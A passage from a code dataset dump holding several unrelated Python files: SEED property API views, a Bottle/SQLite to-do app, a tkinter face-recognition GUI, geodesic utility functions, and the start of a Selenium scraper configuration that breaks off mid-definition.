PropertyState.objects.filter(pk__in=Subquery(property_state_ids)).delete()\n\n if resp[0] == 0:\n return JsonResponse({'status': 'warning', 'message': 'No action was taken'})\n\n return JsonResponse({'status': 'success', 'properties': resp[1]['seed.PropertyState']})\n\n def _get_property_view(self, pk):\n \"\"\"\n Return the property view\n\n :param pk: id, The property view ID\n :param cycle_pk: cycle\n :return:\n \"\"\"\n try:\n property_view = PropertyView.objects.select_related(\n 'property', 'cycle', 'state'\n ).get(\n id=pk,\n property__organization_id=self.get_organization(self.request)\n )\n result = {\n 'status': 'success',\n 'property_view': property_view\n }\n except PropertyView.DoesNotExist:\n result = {\n 'status': 'error',\n 'message': 'property view with id {} does not exist'.format(pk)\n }\n return result\n\n def _get_taxlots(self, pk):\n lot_view_pks = TaxLotProperty.objects.filter(property_view_id=pk).values_list(\n 'taxlot_view_id', flat=True)\n lot_views = TaxLotView.objects.filter(pk__in=lot_view_pks).select_related('cycle', 'state').prefetch_related('labels')\n lots = []\n for lot in lot_views:\n lots.append(TaxLotViewSerializer(lot).data)\n return lots\n\n# Helix add\n def _get_certifications(self, pk):\n \"\"\"Get certifications(GreenAssessments)\"\"\"\n certifications = HELIXGreenAssessmentProperty.objects.filter(\n view=pk\n ).prefetch_related('assessment', 'urls', 'measurements')\n\n return [\n GreenAssessmentPropertyReadOnlySerializer(cert).data\n for cert in certifications\n ]\n\n def _get_measures(self, pk):\n \"\"\"Get measures\"\"\"\n measures = PropertyMeasure.objects.filter(\n property_state_id=pk\n ).prefetch_related('measure', 'measurements')\n\n return [\n PropertyMeasureReadOnlySerializer(meas).data\n for meas in measures\n ]\n\n def get_history(self, property_view):\n \"\"\"Return history in reverse order\"\"\"\n\n # access the history from the property state\n history, master = property_view.state.history()\n\n # convert the history and master states to StateSerializers\n master['state'] = PropertyStateSerializer(master['state_data']).data\n del master['state_data']\n del master['state_id']\n\n for h in history:\n h['state'] = PropertyStateSerializer(h['state_data']).data\n del h['state_data']\n del h['state_id']\n\n return history, master\n\n @swagger_auto_schema_org_query_param\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('can_view_data')\n def retrieve(self, request, pk=None):\n \"\"\"\n Get property details\n \"\"\"\n result = self._get_property_view(pk)\n if result.get('status', None) != 'error':\n result['property_view_id'] = result['property_view'].id # Helix add\n property_view = result.pop('property_view')\n result = {'status': 'success'}\n result.update(PropertyViewSerializer(property_view).data)\n # remove PropertyView id from result\n result.pop('id')\n\n # Grab extra_data columns to be shown in the result\n organization_id = self.get_organization(request)\n all_extra_data_columns = Column.objects.filter(\n organization_id=organization_id,\n is_extra_data=True,\n table_name='PropertyState').values_list('column_name', flat=True)\n\n result['state'] = PropertyStateSerializer(property_view.state,\n all_extra_data_columns=all_extra_data_columns).data\n result['taxlots'] = self._get_taxlots(property_view.pk)\n result['certifications'] = self._get_certifications(property_view.pk) # Helix add\n result['measures'] = self._get_measures(property_view.state.pk) # Helix add\n result['history'], master = self.get_history(property_view)\n result = update_result_with_master(result, master)\n return JsonResponse(result, encoder=PintJSONEncoder, status=status.HTTP_200_OK)\n else:\n return JsonResponse(result, status=status.HTTP_404_NOT_FOUND)\n\n @swagger_auto_schema(\n manual_parameters=[AutoSchemaHelper.query_org_id_field()],\n request_body=UpdatePropertyPayloadSerializer,\n )\n @api_endpoint_class\n @ajax_request_class\n @has_perm_class('can_modify_data')\n def update(self, request, pk=None):\n \"\"\"\n Update a property and run the updated record through a match and merge\n round within it's current Cycle.\n \"\"\"\n data = request.data\n\n result = self._get_property_view(pk)\n if result.get('status', None) != 'error':\n property_view = result.pop('property_view')\n property_state_data = PropertyStateSerializer(property_view.state).data\n\n # get the property state information from the request\n new_property_state_data = data['state']\n\n # set empty strings to None\n for key, val in new_property_state_data.items():\n if val == '':\n new_property_state_data[key] = None\n\n changed_fields, previous_data = get_changed_fields(property_state_data, new_property_state_data)\n if not changed_fields:\n result.update(\n {'status': 'success', 'message': 'Records are identical'}\n )\n return JsonResponse(result, status=status.HTTP_204_NO_CONTENT)\n else:\n # Not sure why we are going through the pain of logging this all right now... need to\n # reevaluate this.\n log = PropertyAuditLog.objects.select_related().filter(\n state=property_view.state\n ).order_by('-id').first()\n\n # if checks above pass, create an exact copy of the current state for historical purposes\n if log.name == 'Import Creation':\n # Add new state by removing the existing ID.\n property_state_data.pop('id')\n # Remove the import_file_id for the first edit of a new record\n # If the import file has been deleted and this value remains the serializer won't be valid\n property_state_data.pop('import_file')\n new_property_state_serializer = PropertyStateSerializer(\n data=property_state_data\n )\n if new_property_state_serializer.is_valid():\n # create the new property state, and perform an initial save / moving relationships\n new_state = new_property_state_serializer.save()\n\n # Since we are creating a new relationship when we are manually editing the Properties, then\n # we need to move the relationships over to the new manually edited record.\n new_state = self._move_relationships(property_view.state, new_state)\n new_state.save()\n\n # then assign this state to the property view and save the whole view\n property_view.state = new_state\n property_view.save()\n\n PropertyAuditLog.objects.create(organization=log.organization,\n parent1=log,\n parent2=None,\n parent_state1=log.state,\n parent_state2=None,\n state=new_state,\n name='Manual Edit',\n description=None,\n import_filename=log.import_filename,\n record_type=AUDIT_USER_EDIT)\n\n result.update(\n {'state': new_property_state_serializer.data}\n )\n\n # save the property view so that the datetime gets updated on the property.\n property_view.save()\n else:\n result.update({\n 'status': 'error',\n 'message': 'Invalid update data with errors: {}'.format(\n new_property_state_serializer.errors)}\n )\n return JsonResponse(result, encoder=PintJSONEncoder,\n status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n\n # redo assignment of this variable in case this was an initial edit\n property_state_data = PropertyStateSerializer(property_view.state).data\n\n if 'extra_data' in new_property_state_data:\n property_state_data['extra_data'].update(\n new_property_state_data['extra_data']\n )\n\n property_state_data.update(\n {k: v for k, v in new_property_state_data.items() if k != 'extra_data'}\n )\n\n log = PropertyAuditLog.objects.select_related().filter(\n state=property_view.state\n ).order_by('-id').first()\n\n if log.name in ['Manual Edit', 'Manual Match', 'System Match', 'Merge current state in migration']:\n # Convert this to using the serializer to save the data. This will override the previous values\n # in the state object.\n\n # Note: We should be able to use partial update here and pass in the changed fields instead of the\n # entire state_data.\n updated_property_state_serializer = PropertyStateSerializer(\n property_view.state,\n data=property_state_data\n )\n if updated_property_state_serializer.is_valid():\n # create the new property state, and perform an initial save / moving\n # relationships\n updated_property_state_serializer.save()\n\n result.update(\n {'state': updated_property_state_serializer.data}\n )\n\n # save the property view so that the datetime gets updated on the property.\n property_view.save()\n\n Note.create_from_edit(request.user.id, property_view, new_property_state_data, previous_data)\n\n merge_count, link_count, view_id = match_merge_link(property_view.id, 'PropertyState')\n\n result.update({\n 'view_id': view_id,\n 'match_merged_count': merge_count,\n 'match_link_count': link_count,\n })\n\n return JsonResponse(result, encoder=PintJSONEncoder,\n status=status.HTTP_200_OK)\n else:\n result.update({\n 'status': 'error',\n 'message': 'Invalid update data with errors: {}'.format(\n updated_property_state_serializer.errors)}\n )\n return JsonResponse(result, encoder=PintJSONEncoder,\n status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n else:\n result = {\n 'status': 'error',\n 'message': 'Unrecognized audit log name: ' + log.name\n }\n return JsonResponse(result, status=status.HTTP_422_UNPROCESSABLE_ENTITY)\n else:\n return JsonResponse(result, status=status.HTTP_404_NOT_FOUND)\n\n def _get_property_view_for_property(self, pk, cycle_pk):\n \"\"\"\n Return a property view based on the property id and cycle\n :param pk: ID of property (not property view)\n :param cycle_pk: ID of the cycle\n :return: dict, propety view and status\n \"\"\"\n try:\n property_view = PropertyView.objects.select_related(\n 'property', 'cycle', 'state'\n ).get(\n property_id=pk,\n cycle_id=cycle_pk,\n property__organization_id=self.get_organization(self.request)\n )\n result = {\n 'status': 'success',\n 'property_view': property_view\n }\n except PropertyView.DoesNotExist:\n result = {\n 'status': 'error',\n 'message': 'property view with property id {} does not exist'.format(pk)\n }\n except PropertyView.MultipleObjectsReturned:\n result = {\n 'status': 'error',\n 'message': 'Multiple property views with id {}'.format(pk)\n }\n return result\n\n @swagger_auto_schema(\n manual_parameters=[\n AutoSchemaHelper.query_org_id_field(),\n AutoSchemaHelper.query_integer_field(\n 'profile_id',\n required=True,\n description='ID of a BuildingSync ColumnMappingProfile'\n ),\n ]\n )\n @has_perm_class('can_view_data')\n @action(detail=True, methods=['GET'])\n def building_sync(self, request, pk):\n \"\"\"\n Return BuildingSync representation of the property\n \"\"\"\n profile_pk = request.GET.get('profile_id')\n org_id = self.get_organization(self.request)\n try:\n profile_pk = int(profile_pk)\n column_mapping_profile = ColumnMappingProfile.objects.get(\n pk=profile_pk,\n profile_type__in=[ColumnMappingProfile.BUILDINGSYNC_DEFAULT, ColumnMappingProfile.BUILDINGSYNC_CUSTOM])\n except TypeError:\n return JsonResponse({\n 'success': False,\n 'message': 'Query param `profile_id` is either missing or invalid'\n }, status=status.HTTP_400_BAD_REQUEST)\n except ColumnMappingProfile.DoesNotExist:\n return JsonResponse({\n 'success': False,\n 'message': f'Cannot find a BuildingSync ColumnMappingProfile with pk={profile_pk}'\n }, status=status.HTTP_400_BAD_REQUEST)\n\n try:\n property_view = (PropertyView.objects.select_related('state')\n .get(pk=pk, cycle__organization_id=org_id))\n except PropertyView.DoesNotExist:\n return JsonResponse({\n 'success': False,\n 'message': 'Cannot match a PropertyView with pk=%s' % pk\n }, status=status.HTTP_400_BAD_REQUEST)\n\n bs = BuildingSync()\n # Check if there is an existing BuildingSync XML file to merge\n bs_file = property_view.state.building_files.order_by('created').last()\n if bs_file is not None and os.path.exists(bs_file.file.path):\n bs.import_file(bs_file.file.path)\n\n try:\n xml = bs.export_using_profile(property_view.state, column_mapping_profile.mappings)\n return HttpResponse(xml, content_type='application/xml')\n except Exception as e:\n return JsonResponse({\n 'success': False,\n 'message': str(e)\n }, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n @swagger_auto_schema(\n manual_parameters=[AutoSchemaHelper.query_org_id_field()]\n )\n @has_perm_class('can_view_data')\n @action(detail=True, methods=['GET'])\n def hpxml(self, request, pk):\n \"\"\"\n Return HPXML representation of the property\n \"\"\"\n org_id = self.get_organization(self.request)\n try:\n property_view = (PropertyView.objects.select_related('state')\n .get(pk=pk, cycle__organization_id=org_id))\n except PropertyView.DoesNotExist:\n return JsonResponse({\n 'success': False,\n 'message': 'Cannot match a PropertyView with pk=%s' % pk\n })\n\n hpxml = HPXML()\n # Check if there is an existing BuildingSync XML file to merge\n hpxml_file = (property_view.state.building_files\n .filter(file_type=BuildingFile.HPXML)\n .order_by('-created')\n .first())\n if hpxml_file is not None and os.path.exists(hpxml_file.file.path):\n hpxml.import_file(hpxml_file.file.path)\n xml = hpxml.export(property_view.state)\n return HttpResponse(xml, content_type='application/xml')\n else:\n # create a new XML from the record, do not import existing XML\n xml = hpxml.export(property_view.state)\n return HttpResponse(xml, content_type='application/xml')\n\n @swagger_auto_schema(\n manual_parameters=[\n AutoSchemaHelper.path_id_field(\n description='ID of the property view to update'\n ),\n AutoSchemaHelper.query_org_id_field(),\n AutoSchemaHelper.query_integer_field(\n 'cycle_id',\n required=True,\n description='ID of the cycle of the property view'\n ),\n AutoSchemaHelper.upload_file_field(\n 'file',\n required=True,\n description='BuildingSync file to use',\n ),\n AutoSchemaHelper.form_string_field(\n 'file_type',\n required=True,\n description='Either \"Unknown\" or \"BuildingSync\"',\n ),\n ],\n request_body=no_body,\n )\n @action(detail=True, methods=['PUT'], parser_classes=(MultiPartParser,))\n @has_perm_class('can_modify_data')\n def update_with_building_sync(self, request, pk):\n \"\"\"\n Update an existing PropertyView with a building file. Currently only supports BuildingSync.\n \"\"\"\n if len(request.FILES) == 0:\n return JsonResponse({\n 'success': False,\n 'message': \"Must pass file in as a Multipart/Form post\"\n })\n\n the_file = request.data['file']\n file_type = BuildingFile.str_to_file_type(request.data.get('file_type', 'Unknown'))\n organization_id = self.get_organization(request)\n cycle_pk = request.query_params.get('cycle_id', None)\n org_id = self.get_organization(self.request)\n\n try:\n cycle = Cycle.objects.get(pk=cycle_pk, organization_id=org_id)\n except Cycle.DoesNotExist:\n return JsonResponse({\n 'success': False,\n 'message': \"Cycle ID is missing or Cycle does not exist\"\n }, status=status.HTTP_404_NOT_FOUND)\n\n try:\n # note that this is a \"safe\" query b/c we should have already returned\n # if the cycle was not within the user's organization\n property_view = PropertyView.objects.select_related(\n 'property', 'cycle', 'state'\n ).get(pk=pk, cycle_id=cycle_pk)\n except PropertyView.DoesNotExist:\n return JsonResponse({\n 'status': 'error',\n 'message': 'property view does not exist'\n }, status=status.HTTP_404_NOT_FOUND)\n\n p_status = False\n new_pv_state = None\n building_file = BuildingFile.objects.create(\n file=the_file,\n filename=the_file.name,\n file_type=file_type,\n )\n\n # passing in the existing propertyview allows it to process the buildingsync file and attach it to the\n # existing propertyview.\n p_status, new_pv_state, new_pv_view, messages = building_file.process(\n organization_id, cycle, property_view=property_view\n )\n\n if p_status and new_pv_state:\n return JsonResponse({\n 'success': True,\n 'status': 'success',\n 'message': 'successfully imported file',\n 'data': {\n 'property_view': PropertyViewAsStateSerializer(new_pv_view).data,\n },\n })\n else:\n return JsonResponse({\n 'status': 'error',\n 'message': \"Could not process building file with messages {}\".format(messages)\n }, status=status.HTTP_400_BAD_REQUEST)\n\n\ndef diffupdate(old, new):\n \"\"\"Returns lists of fields changed\"\"\"\n changed_fields = []\n changed_extra_data = []\n for k, v in new.items():\n if old.get(k, None) != v or k not in old:\n changed_fields.append(k)\n if 'extra_data' in changed_fields:\n changed_fields.remove('extra_data')\n changed_extra_data, _ = diffupdate(old['extra_data'], new['extra_data'])\n return changed_fields, changed_extra_data\n","repo_name":"ClearlyEnergy/seed-python3","sub_path":"seed/views/v3/properties.py","file_name":"properties.py","file_ext":"py","file_size_in_byte":56965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"39148363368","text":"import sqlite3\nfrom bottle import *\n\ndueasc = True\npostedasc = True\nupdatedasc = True\n\n@route(\"/static/styles.css\")\ndef serveIndex():\n return static_file(\"styles.css\", root=\"./static\")\n\n@route(\"/\")\ndef todo_list():\n conn = sqlite3.connect(\"todo.db\")\n c = conn.cursor()\n c.execute(\"SELECT * FROM todo\")\n result = c.fetchall()\n c.close()\n\n output = template(\"make_table\", rows=result)\n return output\n\n@route(\"/todolist/\")\ndef todo_list(filters):\n conn = sqlite3.connect(\"todo.db\")\n c = conn.cursor()\n global dueasc, postedasc, updatedasc\n if filters == \"due\":\n if dueasc:\n c.execute(\"SELECT * FROM todo ORDER BY due ASC\")\n dueasc = False\n else:\n c.execute(\"SELECT * FROM todo ORDER BY due DESC\")\n dueasc = True\n if filters == \"posted\":\n if postedasc:\n c.execute(\"SELECT * FROM todo ORDER BY posted ASC\")\n postedasc = False\n else:\n c.execute(\"SELECT * FROM todo ORDER BY posted DESC\")\n postedasc = True\n if filters == \"updated\":\n if updatedasc:\n c.execute(\"SELECT * FROM todo ORDER BY updated ASC\")\n updatedasc = False\n else:\n c.execute(\"SELECT * FROM todo ORDER BY updated DESC\")\n updatedasc = True\n if filters == \"done\":\n c.execute(\"SELECT * FROM todo WHERE status = 1\")\n if filters == \"notdone\":\n c.execute(\"SELECT * FROM todo WHERE status = 0\")\n result = c.fetchall()\n c.close()\n \n output = template(\"make_table\", rows=result)\n return output\n\n@route(\"/delete/\")\ndef delete_item(item_id):\n conn = sqlite3.connect(\"todo.db\")\n c = conn.cursor()\n c.execute(\"DELETE from todo WHERE id = ?\", (item_id))\n conn.commit()\n c.close()\n redirect(\"/\")\n\n@route(\"/update/\")\ndef update_item(item_id):\n conn = sqlite3.connect(\"todo.db\")\n c = conn.cursor()\n c.execute(\"UPDATE todo set status = 1 WHERE id = ?\", (item_id))\n conn.commit()\n c.close()\n redirect(\"/\")\n\n@route(\"/edit/\")\ndef update_item(item_id):\n redirect(\"/modify\" + \"/\" + item_id)\n\n@route(\"/modify/\", method=[\"GET\", \"POST\"])\ndef modify_item(item_id):\n if request.POST:\n task = request.POST.get('task')\n descr = request.POST.get('descr')\n due = request.POST.get('due')\n conn = sqlite3.connect('todo.db')\n c = conn.cursor() \n c.execute(\"UPDATE todo SET title=?, description=?, due=?, \\\n updated=date('now') \\\n WHERE id LIKE ?\", (task, descr, due, item_id))\n conn.commit()\n redirect(\"/\")\n else:\n output = template(\"edit\", item = item_id)\n return output\n \n@route('/new', method=['POST'])\ndef new_item():\n task = request.POST.get('task')\n descr = request.POST.get('descr')\n due = request.POST.get('due')\n conn = sqlite3.connect('todo.db')\n c = conn.cursor() \n c.execute(\"INSERT into todo VALUES (NULL, ?, ?, date('now'), \\\n ?, date('now'), 0)\", (task, descr, due))\n conn.commit()\n \n return redirect('/')\n\nrun(host=\"localhost\", port=8080, reloader=True)\n\n","repo_name":"aboodmm/todolist-webapp","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"36665528173","text":"\"\"\"\n C:\\\\Bin\\\\environment\\\\python\n -*- coding: utf-8 -*-\n @Time : 2023/6/7 22:30\n @Author : south(南风)\n @File : tkin.py\n Describe:\n -*- coding: utf-8 -*-\n\"\"\"\nimport os\nimport pickle\nimport tkinter as tk\nimport cv2\nfrom tkinter import messagebox\nimport face_recognition\nfrom PIL import Image, ImageTk\n\nwindow = tk.Tk()\ncamera = cv2.VideoCapture(0)\nwindow.title('Cheney\\' Face_rec 3.0') # 窗口标题\nwindow.geometry('800x500') # 这里的乘是小x\n\nname1 = tk.StringVar()\nuser_name = tk.Entry(window, textvariable=name1, font=\"Helvetic 20 bold\", width=10)\n\nRecognizer = cv2.face.LBPHFaceRecognizer_create()\nRecognizer.read(os.path.join(\"train result\", 'Training.yml'))\nwith open('Label.pickle', 'rb') as file:\n OriginalLabel = pickle.load(file)\n Labels = {v: k for k, v in OriginalLabel.items()}\n\nwith open(\"student.txt\", \"r\", encoding=\"utf-8\") as f:\n con = f.readlines()\n name = {}\n for i in con:\n infor = i.split()\n name[infor[1]] = infor[0]\n\n\ndef f_exit(): # 退出按钮\n exit()\n\n\ndef video_loop(): # 用于在label内动态展示摄像头内容(摄像头嵌入控件)\n global Confidence, ID\n success, img = camera.read() # 从摄像头读取照片\n img = cv2.flip(img, 1)\n cv2image = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) # 转换颜色从BGR到RGBA\n imag = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # 6灰度处理c\n Faces = face_recognition.face_locations(cv2image)\n Face1 = face_recognition.face_locations(imag)\n if success:\n for face in Faces:\n X, Y, W, H = face\n cv2.rectangle(cv2image, (H, X), (Y, W), (255, 0, 0), 1)\n for fc in Face1:\n x, y, w, h = fc\n ID, Confidence = Recognizer.predict(imag[y: y + h, x: x + w]) # 预测函数\n current_image = Image.fromarray(cv2image) # 将图像转换成Image对象\n cv2image = ImageTk.PhotoImage(image=current_image)\n panel.imgtk = cv2image\n panel.config(image=cv2image)\n\n window.after(1, video_loop)\n\n\ndef f_sc():\n if Confidence >= 70:\n name1.set(Labels[ID])\n pwd1.set(name[Labels[ID]])\n else:\n name1.set(\"未知\")\n\n\ndef add_infor():\n messagebox.showinfo(\"提醒\", \"请输入姓名和学号\")\n a = name1.get()\n b = pwd1.get()\n if a and b:\n with open(\"student.txt\", \"a\", encoding=\"utf-8\") as f1:\n f1.writelines(f\"{b} {a}\")\n messagebox.showinfo(\"提醒\", \"新面部信息添加成功\")\n\n\nlab1 = tk.Label(window, text=\"姓名\", width=5, font=('Arial', 12))\nlab2 = tk.Label(window, text=\"学号\", width=5, font=('Arial', 12))\nlab1.place(x=520, y=200)\nlab2.place(x=520, y=250)\n\npwd1 = tk.StringVar()\n\nuser_pwd = tk.Entry(window, textvariable=pwd1, font=\"Helvetic 20 bold\", width=10)\nuser_name.place(x=570, y=200)\nuser_pwd.place(x=570, y=250)\n\n# 在窗口界面设置放置Button按键并绑定处理函数\nbutton_a = tk.Button(window, text='开始刷脸', font=('Arial', 12), width=10, height=2, command=f_sc)\nbutton_a.place(x=10, y=20)\n\nbutton_b = tk.Button(window, text='录入人脸', font=('Arial', 12), width=10, height=2, command=add_infor)\nbutton_b.place(x=210, y=20)\n\nbutton_b = tk.Button(window, text='退出', font=('Arial', 12), width=10, height=2, command=f_exit)\nbutton_b.place(x=410, y=20)\n\npanel = tk.Label(window, width=500, height=350) # 摄像头模块大小\npanel.place(x=10, y=100) # 摄像头模块的位置\nwindow.config(cursor=\"arrow\")\n\nvideo_loop()\n\n# 窗口循环,用于显示\nwindow.mainloop()\n","repo_name":"south-zhao/python","sub_path":"opencv/tkin.py","file_name":"tkin.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"5272682188","text":"import math\nimport numpy as np\n\nearth_radius = 6373\n\n\ndef dot_product(v1, v2):\n return sum((a * b) for a, b in zip(v1, v2))\n\n\ndef vector_length(v):\n return math.sqrt(dot_product(v, v))\n\n\ndef angle(v1, v2):\n return math.acos(dot_product(v1, v2) / (vector_length(v1) * vector_length(v2)))\n\n\ndef degrees_to_radians(deg):\n return deg * math.pi / 180\n\n\ndef radians_to_degrees(rad):\n return rad * 180 / math.pi\n\n\ndef distance_to_radians(distance):\n return distance / earth_radius\n\n\ndef radians_to_distance(radians):\n return radians * earth_radius\n\n\ndef bearing(start, end):\n lon1 = degrees_to_radians(start[0])\n lon2 = degrees_to_radians(end[0])\n lat1 = degrees_to_radians(start[1])\n lat2 = degrees_to_radians(end[1])\n\n a = math.sin(lon2 - lon1) * math.cos(lat2)\n\n b = math.cos(lat1) * math.sin(lat2) - math.sin(lat1) * math.cos(lat2) * math.cos(\n lon2 - lon1\n )\n\n return radians_to_degrees(math.atan2(a, b))\n\n\ndef destination(origin, distance, bearing):\n longitude1 = degrees_to_radians(origin[0])\n latitude1 = degrees_to_radians(origin[1])\n bearing_rads = degrees_to_radians(bearing)\n\n radians = distance_to_radians(distance)\n\n latitude2 = math.asin(\n math.sin(latitude1) * math.cos(radians)\n + math.cos(latitude1) * math.sin(radians) * math.cos(bearing_rads)\n )\n\n longitude2 = longitude1 + math.atan2(\n math.sin(bearing_rads) * math.sin(radians) * math.cos(latitude1),\n math.cos(radians) - math.sin(latitude1) * math.sin(latitude2),\n )\n\n lng = radians_to_degrees(longitude2)\n lat = radians_to_degrees(latitude2)\n\n return [lng, lat]\n\n\ndef measure_distance(coordinates1, coordinates2):\n\n dLat = degrees_to_radians(coordinates2[1] - coordinates1[1])\n dLon = degrees_to_radians(coordinates2[0] - coordinates1[0])\n\n lat1 = degrees_to_radians(coordinates1[1])\n lat2 = degrees_to_radians(coordinates2[1])\n\n a = math.pow(math.sin(dLat / 2), 2) + math.pow(math.sin(dLon / 2), 2) * math.cos(\n lat1\n ) * math.cos(lat2)\n\n return radians_to_distance(2 * math.atan2(math.sqrt(a), math.sqrt(1 - a)))\n\n\ndef calculate_angle(a, b, c):\n \"\"\"\n Returns angle (a-b-c), in degrees\n\n All points are assumed to be locintel.core.datamodel.geo.GeoCoordinate objects\n \"\"\"\n b_c = math.sqrt((b.lng - c.lng) ** 2 + (b.lat - c.lat) ** 2)\n a_c = math.sqrt((a.lng - c.lng) ** 2 + (a.lat - c.lat) ** 2)\n a_b = math.sqrt((a.lng - b.lng) ** 2 + (a.lat - b.lat) ** 2)\n formula = (b_c ** 2.0 + a_c ** 2.0 - a_b ** 2.0) / (2.0 * b_c * a_c)\n formula = -1.0 if formula < -1.0 else formula\n formula = 1.0 if formula > 1.0 else formula\n return (math.acos(formula) * 180.0) / math.pi\n\n\ndef project_along_line(coords, distance):\n travelled = 0\n for i in range(len(coords)):\n if distance >= travelled and i == len(coords) - 1:\n break\n elif travelled >= distance:\n overshot = distance - travelled\n if not overshot:\n return coords[i]\n else:\n direction = bearing(coords[i], coords[i - 1]) - 180\n interpolated = destination(coords[i], overshot, direction)\n return interpolated\n else:\n travelled += measure_distance(coords[i], coords[i + 1])\n\n return coords[-1]\n\n\ndef length(coords):\n total_distance = 0\n for i in range(len(coords)):\n if i == len(coords) - 2:\n break\n else:\n total_distance += measure_distance(coords[i], coords[i + 1])\n\n return total_distance\n\n\ndef frechet_distance(geo1, geo2, i=0, j=0, distance_matrix=None):\n \"\"\"\n Recursively computes the discrete frechet distance between two geometries\n\n Algorithm: http://www.kr.tuwien.ac.at/staff/eiter/et-archive/cdtr9464.pdf\n\n :param geo1: locintel.core.datamodel.geo.Geometry object 1\n :param geo2: locintel.core.datamodel.geo.Geometry object 2\n :param i: index for geo1 traversal\n :param j: index for geo2 traversal\n :param distance_matrix: distance matrix between geo1 points and geo2 points (None for initialization)\n \"\"\"\n if distance_matrix is None:\n distance_matrix = np.ones((len(geo1), len(geo2)))\n distance_matrix = np.multiply(distance_matrix, -1)\n\n # i, j are the indices of geo1, and geo2 traversals, respectively\n if distance_matrix[i, j] > -1:\n return distance_matrix[i, j]\n\n if i == 0 and j == 0:\n distance_matrix[i, j] = geo1[0].distance_to(geo2[0])\n elif i > 0 and j == 0:\n distance_matrix[i, j] = max(\n frechet_distance(geo1, geo2, i - 1, 0, distance_matrix),\n geo1[i].distance_to(geo2[0]),\n )\n elif i == 0 and j > 0:\n distance_matrix[i, j] = max(\n frechet_distance(geo1, geo2, 0, j - 1, distance_matrix),\n geo1[0].distance_to(geo2[j]),\n )\n elif i > 0 and j > 0:\n distance_matrix[i, j] = max(\n min(\n frechet_distance(geo1, geo2, i - 1, j, distance_matrix),\n frechet_distance(geo1, geo2, i - 1, j - 1, distance_matrix),\n frechet_distance(geo1, geo2, i, j - 1, distance_matrix),\n ),\n geo1[i].distance_to(geo2[j]),\n )\n else:\n distance_matrix[i, j] = float(\"inf\")\n return distance_matrix[i, j]\n\n\ndef create_vector(nodes):\n x = nodes[-1].coord.lng - nodes[0].coord.lng\n y = nodes[-1].coord.lat - nodes[0].coord.lat\n return x, y\n\n\ndef calculate_direction(v1, v2):\n if len(v1) != 2 or len(v2) != 2:\n raise ValueError(\"Vectors must have 2 dimensions\")\n\n matrix = np.transpose([v1, v2])\n det = np.linalg.det(matrix)\n\n if det > 0:\n return \"no_left_turn\"\n\n if det < 0:\n return \"no_right_turn\"\n\n return \"no_u_turn\"\n","repo_name":"pedrofreitascampospro/locintel","sub_path":"locintel/core/algorithms/geo.py","file_name":"geo.py","file_ext":"py","file_size_in_byte":5789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"9"} +{"seq_id":"27283020852","text":"# import os\nimport random\nimport shutil\n\nfrom bs4 import BeautifulSoup\nfrom bs4.element import Tag\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service as BraveService\nfrom selenium.webdriver.chrome.service import Service as ChromeService\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom webdriver_manager.core.os_manager import ChromeType\n\n# from pathlib import Path\n\n\nUSER_AGENTS = [\n \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246\",\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0\",\n \"Mozilla/5.0 (Macintosh; Intel Mac OS X 12.6; rv:105.0) Gecko/20100101 Firefox/105.0\",\n \"Mozilla/5.0 (X11; Linux i686; rv:105.0) Gecko/20100101 Firefox/105.0\",\n]\n\n\ndef random_user_agent():\n return str(random.choice(USER_AGENTS))\n\n\ndef http_headers():\n return {\n \"User-Agent\": random_user_agent(),\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"Accept\": \"text/html\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Connection\": \"keep-alive\",\n }\n\n\ndef get_tag_value(soup: BeautifulSoup, selector: str, fn):\n tag: Tag | None = soup.select_one(selector)\n if tag:\n return fn(tag.text)\n return fn(None)\n\n\n# Default HTTP time out in second\nDEFAULT_HTTP_TIMEOUT = 20\n\n# HTTP retry\nDEFAULT_HTTP_RETRY = 3\n\n\nchrome_options = webdriver.ChromeOptions()\n\n# Use Brave browser if exist\nbrave_path = shutil.which(\"brave\")\nif brave_path:\n chrome_options.binary_location = brave_path\n\nchrome_options.headless = False\nchrome_options.add_argument(\"user-agent=\" + random_user_agent())\nchrome_options.add_argument(\"--ignore-certificate-errors\")\nchrome_options.add_argument(\"--proxy-server='direct://'\")\nchrome_options.add_argument(\"--proxy-bypass-list=*\")\nchrome_options.add_argument(\"--blink-settings=imagesEnabled=false\")\nchrome_options.add_argument(\"--incognito\")\nchrome_options.add_argument(\"--disable-gpu\")\nchrome_options.add_argument(\"--disable-dev-shm-usage\")\nchrome_options.add_argument(\"--enable-javascript\")\nchrome_options.add_argument(\"--no-sandbox\")\ncontent_setting = {\n \"profile.managed_default_content_settings.images\": 2,\n \"profile.default_content_setting_values.cookies\": 1,\n \"profile.cookie_controls_mode\": 0,\n}\nchrome_options.add_experimental_option(\"prefs\", content_setting)\n# chrome_options.add_argument(\"--proxy-server=\")\n# chrome_options.add_argument(\"--no-proxy-server\")\n# chrome_options.add_argument(\"window-sized1200,600\")\n# user_data = os.path.join(Path.home(), \".config\", \"google-chrome\")\n# profile_dir = \"Default\"\n# chrome_options.add_argument(f\"--user-data-dir={user_data}\")\n# chrome_options.add_argument(f\"--profile-directory={profile_dir}\")\n\ndriver = None\n\n\ndef 